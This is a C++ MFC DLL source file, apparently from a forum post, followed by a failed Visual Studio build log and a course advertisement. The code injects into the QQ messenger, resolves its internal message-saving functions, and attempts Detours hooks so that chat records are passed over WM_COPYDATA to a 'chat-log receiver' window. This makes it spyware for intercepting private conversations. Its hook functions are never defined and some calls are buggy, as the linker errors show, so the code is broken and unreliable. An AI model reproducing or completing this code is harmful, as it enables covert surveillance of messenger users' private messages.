// MFCDLL.cpp : 定义 DLL 的初始化例程。
//
#include "stdafx.h"
#include "MFCDLL.h"
#include "shlwapi.h"
#include "detours.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//
//TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的，
// 则从此 DLL 导出的任何调入
// MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到
// 该函数的最前面。
//
// 例如:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // 此处为普通函数体
// }
//
// 此宏先于任何 MFC 调用
// 出现在每个函数中十分重要。这意味着
// 它必须作为函数中的第一个语句
// 出现，甚至先于所有对象变量声明，
// 这是因为它们的构造函数可能生成 MFC
// DLL 调用。
//
// 有关其他详细信息，
// 请参阅 MFC 技术说明 33 和 58。
//
// CMFCDLLApp
BEGIN_MESSAGE_MAP(CMFCDLLApp, CWinApp)
END_MESSAGE_MAP()
// CMFCDLLApp 构造
CMFCDLLApp::CMFCDLLApp()
{
// TODO: 在此处添加构造代码，
// 将所有重要的初始化放置在 InitInstance 中
}
// 唯一的一个 CMFCDLLApp 对象
CMFCDLLApp theApp;
// CMFCDLLApp 初始化
// 定义函数类型
typedef BOOL (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr,DWORD dTo_Num,DWORD dFrom_Num,DWORD dTo_Num_2,struct ITXMsgPack * TXMsgPack,struct ITXData * TXData,struct ITXCallback * ITXCallback);
typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group,wchar_t *un_1,wchar_t *username,wchar_t *un_1_,int num_1,int num_2,struct ITXMsgPack * TXMsgPack,struct ITXData * TXData,struct ITXCallback * ITXCallback);
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack);
//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);
//
typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum);
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum);
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum);
//
typedef PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack);
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &);
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG);
// 定义函数指针
M_SaveMsg_1 OldSaveMsg_1 = NULL;
M_SaveMsg_1 TrueSaveMsg_1 = NULL;
M_SaveMsg_2 OldSaveMsg_2 = NULL;
M_SaveMsg_2 TrueSaveMsg_2 = NULL;
M_GetMsgTime TrueGetMsgTime = NULL;
M_GetSelfUin TrueGetSelfUin = NULL;
M_GetSelfUin OldGetSelfUin = NULL;
M_GetPublicName TrueGetPublicName = NULL;
M_GetGroupName TrueGetGroupName = NULL;
M_GetDiscussName TrueGetDiscussName = NULL;
M_GetMsgAbstract TrueGetMsgAbstract = NULL;
M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL;
M_GetGroupMemShowName TrueGetGroupMemShowName = NULL;
// 定义HOOK函数
BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr,DWORD dTo_Num,DWORD dFrom_Num,DWORD dTo_Num_2,struct ITXMsgPack * TXMsgPack,struct ITXData* TXData,struct ITXCallback * ITXCallback);
BOOL __cdecl NewSaveMsg_2(wchar_t *group,wchar_t *un_1,wchar_t *username,wchar_t *un_1_,int num_1,int num_2,struct ITXMsgPack * TXMsgPack,struct ITXData* TXData,struct ITXCallback * ITXCallback);
//WM_COPYDATA 传送信息
VOID __cdecl Sendinfo(CString str)
{
COPYDATASTRUCT myCopyDATA;
myCopyDATA.cbData=str.GetLength();
myCopyDATA.lpData=str.GetBuffer(0);
str.ReleaseBuffer();
HWND hwnd=::FindWindow(NULL,L"QQ-聊天记录接收");
if (hwnd)
{
::SendMessage(hwnd,WM_COPYDATA,NULL,(LPARAM)&myCopyDATA);
}
else
{
AfxMessageBox(_T("发送失败！"));
}
}
VOID __stdcall Joker()
{
ULONG fnGetSelfUin;
ULONG currentQQ;
fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if(fnGetSelfUin)
{
currentQQ = ((ULONG (__cdecl*)())fnGetSelfUin)();
if(currentQQ)
{
wchar_t szOut[0x100] = {0};
wsprintfW(szOut, L"新登录QQ: %s", currentQQ);
CString fff = szOut;
OutputDebugString(fff+L"\r\n");
Sendinfo(fff);
}
}
}
//测试娱乐
int __cdecl NewGetSelfUin(void)
{
return 475318423;
}
BOOL CMFCDLLApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
OutputDebugString(L"Hook Start");
// 确保加载过KernelUtil.dll
HMODULE hModule = NULL;
hModule = GetModuleHandle(_T("KernelUtil.dll"));
if (hModule == NULL)
{
hModule = LoadLibrary(L"KernelUtil.dll");
}
// 获得所需函数的地址
TrueSaveMsg_1 = (M_SaveMsg_1) GetProcAddress(hModule, "?SaveMsg194@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z");
if (!TrueSaveMsg_1)
{
return FALSE;
}
TrueSaveMsg_2 = (M_SaveMsg_2) GetProcAddress(hModule, "?SaveMsg194@Msg@Util@@YAHPB_W000KKPAUITXMsgPack@@PAUITXData@@@Z");
if(!TrueSaveMsg_2)
{
return FALSE;
}
TrueGetMsgTime = (M_GetMsgTime)GetProcAddress(hModule, "?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z");
if (!TrueGetMsgTime)
{
return FALSE;
}
TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetPublicName)
{
return FALSE;
}
TrueGetGroupName = (M_GetGroupName) GetProcAddress(hModule, "?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetGroupName)
{
return FALSE;
}
TrueGetDiscussName = (M_GetDiscussName) GetProcAddress(hModule, "?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetDiscussName)
{
return FALSE;
}
TrueGetSelfUin = (M_GetSelfUin)GetProcAddress(hModule, "?GetSelfUin@Contact@Util@@YAKXZ");
if (!TrueGetSelfUin)
{
return FALSE;
}
TrueGetMsgAbstract = (M_GetMsgAbstract)GetProcAddress(hModule, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z");
if (!TrueGetMsgAbstract)
{
return FALSE;
}
// //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
// TrueGetGroupMemShowName = (M_GetGroupMemShowName) GetProcAddress(hModule, "?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z");
// if (!TrueGetGroupMemShowName)
// {
// break;
// }
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
// TrueGetGroupMemLongNickname = (M_GetGroupMemLongNickname) GetProcAddress(hModule, "?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z");
// if (!TrueGetDiscussName)
// {
// break;
// }
// 开始HOOK
if (TrueSaveMsg_1)
{
OldSaveMsg_1 = (M_SaveMsg_1) DetourFindFunction((PCSTR)TrueSaveMsg_1, (PCSTR)NewSaveMsg_1);
}
if (TrueSaveMsg_2)
{
OldSaveMsg_2 = (M_SaveMsg_2) DetourFindFunction((PCSTR)TrueSaveMsg_2, (PCSTR)NewSaveMsg_2);
}
Joker();
//OldGetSelfUin = (M_GetSelfUin) DetourFunction((PBYTE)TrueGetSelfUin, (PBYTE)NewGetSelfUin);
return CWinApp::InitInstance();;
}
========================================================
1>------ 已启动全部重新生成: 项目: MFCDLL, 配置: Debug Win32 ------
1>正在删除项目“MFCDLL”(配置“Debug|Win32”)的中间文件和输出文件
1>正在编译...
1>stdafx.cpp
1>正在编译...
1>MFCDLL.cpp
1>正在编译资源...
1>Microsoft (R) Windows (R) Resource Compiler Version 6.0.5724.0
1>Copyright (C) Microsoft Corporation. All rights reserved.
1>正在链接...
1>MFCDLL.obj : warning LNK4075: 忽略“/EDITANDCONTINUE”(由于“/INCREMENTAL:NO”规范)
1> 正在创建库 D:\我的文档\Visual Studio 2008\Projects\MFCDLL\Debug\MFCDLL.lib 和对象 D:\我的文档\Visual Studio 2008\Projects\MFCDLL\Debug\MFCDLL.exp
1>MFCDLL.obj : error LNK2019: 无法解析的外部符号 "int __cdecl NewSaveMsg_2(wchar_t *,wchar_t *,wchar_t *,wchar_t *,int,int,struct ITXMsgPack *,struct ITXData *,struct ITXCallback *)" (?NewSaveMsg_2@@YAHPA_W000HHPAUITXMsgPack@@PAUITXData@@PAUITXCallback@@@Z)，该符号在函数 "public: virtual int __thiscall CMFCDLLApp::InitInstance(void)" (?InitInstance@CMFCDLLApp@@UAEHXZ) 中被引用
1>MFCDLL.obj : error LNK2019: 无法解析的外部符号 _DetourFindFunction@8，该符号在函数 "public: virtual int __thiscall CMFCDLLApp::InitInstance(void)" (?InitInstance@CMFCDLLApp@@UAEHXZ) 中被引用
1>MFCDLL.obj : error LNK2019: 无法解析的外部符号 "int __cdecl NewSaveMsg_1(wchar_t const *,unsigned long,unsigned long,unsigned long,struct ITXMsgPack *,struct ITXData *,struct ITXCallback *)" (?NewSaveMsg_1@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@PAUITXCallback@@@Z)，该符号在函数 "public: virtual int __thiscall CMFCDLLApp::InitInstance(void)" (?InitInstance@CMFCDLLApp@@UAEHXZ) 中被引用
1>D:\我的文档\Visual Studio 2008\Projects\MFCDLL\Debug\MFCDLL.dll : fatal error LNK1120: 3 个无法解析的外部命令
1>生成日志保存在“file://d:\我的文档\Visual Studio 2008\Projects\MFCDLL\MFCDLL\Debug\BuildLog.htm”
1>MFCDLL - 4 个错误，1 个警告
========== 全部重新生成: 成功 0 个，失败 1 个，跳过 0 个 ==========
[课程]FART 脱壳王！加量不加价！FART作者讲授！
